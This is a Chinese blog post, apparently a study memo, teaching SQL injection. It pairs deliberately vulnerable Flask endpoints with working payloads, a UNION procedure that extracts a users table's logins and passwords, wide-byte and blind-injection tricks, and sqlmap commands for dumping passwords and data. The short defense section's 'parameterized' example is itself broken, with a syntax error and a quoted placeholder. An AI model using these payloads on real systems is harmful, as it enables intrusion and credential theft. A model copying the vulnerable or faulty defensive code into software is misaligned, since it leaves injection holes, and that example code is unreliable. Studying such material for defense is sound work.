zoukankan      html  css  js  c++  java
  • WEB安全第四篇--与数据库的亲密接触:SQL注入攻击

    零、前言

      最近做专心web安全有一段时间了,但是目测后面的活会有些复杂,涉及到更多的中间件、底层安全、漏洞研究与安全建设等越来越复杂的东东,所以在这里想写一个系列关于web安全基础以及一些讨巧的payload技巧以便于备忘。不是大神、博客内容非常基础,如果真的有人看而且是大牛们,请不要喷我,欢迎指正我的错误(水平有限)。

    一、SQL注入的本质:

      用户的输入与代码中的SQL语句拼接,可以构成完整的有效的可执行的数据库增删改查操作指令,送入web程序中被执行。攻击者的关键在于猜测并构造完整的可执行的SQL语句。

    二、SQL注入的分类:

      1、数字类:

     1 #数字类:
     2 @app.route("/sqlinjection",methods=["GET","POST"])
     3 def sqlinjection():
     4     id = request.args.get("id")
     5     sql  = "select * from tablename where id='%s';"%str(id)
     6     cur.execute(sql)
     7     ret = cur.fetchall()
     8     return jsonify({"data":ret})
     9 
    10 #攻击数字型:
    11 """
    12 #GET:
    13 https://www.text.com/sqlinjection?id=1and1=1(适用于python、php等动态类型语言)
    14 https://www.text.com/sqlinjection?id=1and1=2(适用于python、php等动态类型语言)
    15 https://www.text.com/sqlinjection?id=1+1(适用于java、C++等静态类型语言) 
    16 #POST
    17 id 在POST数据部分,其他没有差别
    18 """

      2、字符串类:

     1 #字符串类:
     2 @app.route("/sqlinjection",methods=["GET","POST"])
     3 def sqlinjection():
     4     strid = request.args.get("strid")
     5     sql  = "select * from tablename where strid='%s';"%str(strid)
     6     cur.execute(sql)
     7     ret = cur.fetchall()
     8     return jsonify({"data":ret})
     9 
    10 #攻击字符串型:
    11 """
    12 #GET:
    13 https://www.text.com/sqlinjection?strid=1'and'1'='1
    14 https://www.text.com/sqlinjection?id=1'and'1'='2
    15 使用'或者使用" 根据情况而定
    16 #POST
    17 strid 在POST数据部分,其他没有差别
    18 """

      3、模糊字符串类:

     1 #模糊字符串查询类:
     2 @app.route("/sqlinjection",methods=["GET","POST"])
     3 def sqlinjection():
     4     strid = request.args.get("strid")
     5     sql  = "select * from tablename where strid like ‘%%s%;"%str(strid)
     6     cur.execute(sql)
     7     ret = cur.fetchall()
     8     return jsonify({"data":ret})
     9 
    10 #攻击模糊字符串查询型:
    11 """
    12 #GET:
    13 https://www.text.com/sqlinjection?strid=1%'%20or%20strid%20like%20'%2
    14 使用'或者使用" 根据情况而定
    15 #POST
    16 strid 在POST数据部分,其他没有差别
    17 """

    三、常用手工暴数据:

     1 #常用手工暴数据流程(MySQL):
     2 """
     3 1、首先验证是否有漏洞,and 1=1 and 1=2 字符型时候记得加引号和注释符,数字型看情况加注释符,加注释符号的原因是注释掉后面的语句,排除干扰。
     4 
     5 2、验证有洞后,观察能显示的数据项,一般使用order by x 即可。
     6 
     7 3、union all select x,x,x,database(),x,x balabala 获取数据名称  @version 获取数据库版本也是重要的
     8 
     9 4、获取表名
    10 ' and 1=0 union all select 1,table_schema,table_name,4,5,6,7 from information_schema.tables where table_schema != 'mysql' and table_schema != 'information_schema' -- -
    11 
    12 5、获取列名 
    13 ' and 1=0 union all select 1,table_name, column_name,4,5,6,7 from information_schema.columns where table_schema != 'mysql' and table_schema != 'information_schema' and table_schema='bWAPP' and table_name='users' -- - 
    14 
    15 6、获取数据
    16  ' and 1=0 union all select 1,login,password,secret,email,admin,7 from users-- - 
    17 """

    四、宽字节注入:

      1、%BF%27 addslashes给‘也就是%27加成了%BF%5C%27 ->�' 后面跟and sleep(5) -- - ok  利用编码方式规避。

    五、盲注:

      1、盲注指的是不通过直接显示数据库中的数据而是通过响应的不同来猜解数据。
      #这种不同:
      (1)延时返回
      (2)条件判断响应(条件为真,语句执行。调价为假,语句不执行,结果不同)
      (3)错误不同
      #一般来说就是
      (1)基于时间类型的盲注
      (2)基于布尔类型的盲注
      (3)基于异常类型的盲注

      2、首先讲一下时间盲注

    1 #sleep(5) 延时响应(mysql)
    2 #delay '0:0:5' 延时响应(mssql)

      通过判断 IF 如何如何 条件成立时候执行延时语句,通过响应时间来判断条件是否成立。
      这种if 语句可以如下:

    1 """
    2 if(expr1,result1,result2)#如果expr1成立 result1 否则 result2
    3 #常用:
    4     sleep(5)->延时5s
    5     substring(string_var_name,1,1)
    6     #数字分别是起始位置下标 以及 长度benchmark用来做到标准延时,其实没有必须用的必要,执行什么什么多少次。
    7     #所以一个SQL盲注可以构造
    8     select * from tablename where id='103' and if(substring(database(),1,1)='a',sleep(5),null)';
    9 """

      3、布尔类型盲注

        简单的常用 or 1=1 1=2 ‘1’=‘1’ ‘2’=‘1’这种如果注入点在order_by 后面 可以如下构造利用order_by if(1,1,(select 1 union select 2)) limit 0,x

    六、SQLMAP使用:

     1 #1、基本GET 类型:
     2 python sqlmap.py -u "http://www.a.b.c.d?id=123"#多个参数指定参数时用*
     3 python sqlmap.py -u "http://www.a.b.c.d?id=123"--dbs #爆数据库类型
     4 python sqlmap.py -u "http://www.a.b.c.d?id=123"--current-db #当前使用的数据库
     5 python sqlmap.py -u "http://www.a.b.c.d?id=123"--current-users #暴当前用户
     6 python sqlmap.py -u "http://www.a.b.c.d?id=123"--users #暴用户
     7 python sqlmap.py -u "http://www.a.b.c.d?id=123"--passwords #暴密码
     8 python sqlmap.py -u "http://www.a.b.c.d?id=123"-D currentdatabase --tables #当前使用的表
     9 python sqlmap.py -u "http://www.a.b.c.d?id=123"-D currentdatabase -T  tablename --columns #暴字段
    10 python sqlmap.py -u "http://www.a.b.c.d?id=123"-D currentdatabase -T  tablename -C "name1,name2,..." --dump #暴数据
    11 
    12 #2、POST
    13 #burp抓包保存为 post.txt
    14 sqlmap.py -r "c:UsersfendoDesktoppost.txt" -p n --dbs  #其他类似
    15 
    16 sqlmap.py -u "http://192.168.160.1/sqltest/post.php" --forms  #自动寻找表单字段,交互式询问确定
    17 sqlmap -u http://xxx.xxx.com/Login.asp --data "n=1&p=1"  

    七、SQLMAP一些注意点:

    1 #1、https 时候记得host后面需要时加上:443
    2 #2、--smart 启发式扫描
    3 #3、*号更适合json请求数据
    4 #4、常用的python sqlmap.py -l/r post.txt --level 5 --risk 3 --dbs --smart

    八、防御:

    1、过滤,使用标准的语言内置的过滤函数,或者自写过滤函数,需要过滤的一般有:'   "   %20   #    -   =   以及SQL关键词。

    2、预编译或者使用ODDPDO(代码web框架里面的的数据库操作类)等:

    1 @app.route("/sqlinjection",methods=["GET","POST"])
    2 def sqlinjection():
    3     strid = request.args.get("strid")
    4     cur.execute(""select * from tablename where strid = '%s';",(strid))
    5     ret = cur.fetchall()
    6     return jsonify({"data":ret})
  • 相关阅读:
    博客园如何统计个人博客的访问量
    博客园博客如何设置不显示日历,公告,相册,收藏夹等
    [Functional Programming] From simple implementation to Currying to Partial Application
    [Nginx] Configuration for SPA
    [Unit Testing] Using Mockito Annotations
    [Functional Programming] Using Lens to update nested object
    [Functional Programming + React] Provide a reasonable default value for mapStateToProps in case initial state is undefined
    [Angular CLI] Build application without remove dist folder for Docker Volume
    [Spring Boot] Introduce to Mockito
    [Tool] Enable Prettier in VSCode as Format on Save and add config files to gitingore
  • 原文地址:https://www.cnblogs.com/KevinGeorge/p/8250461.html
Copyright © 2011-2022 走看看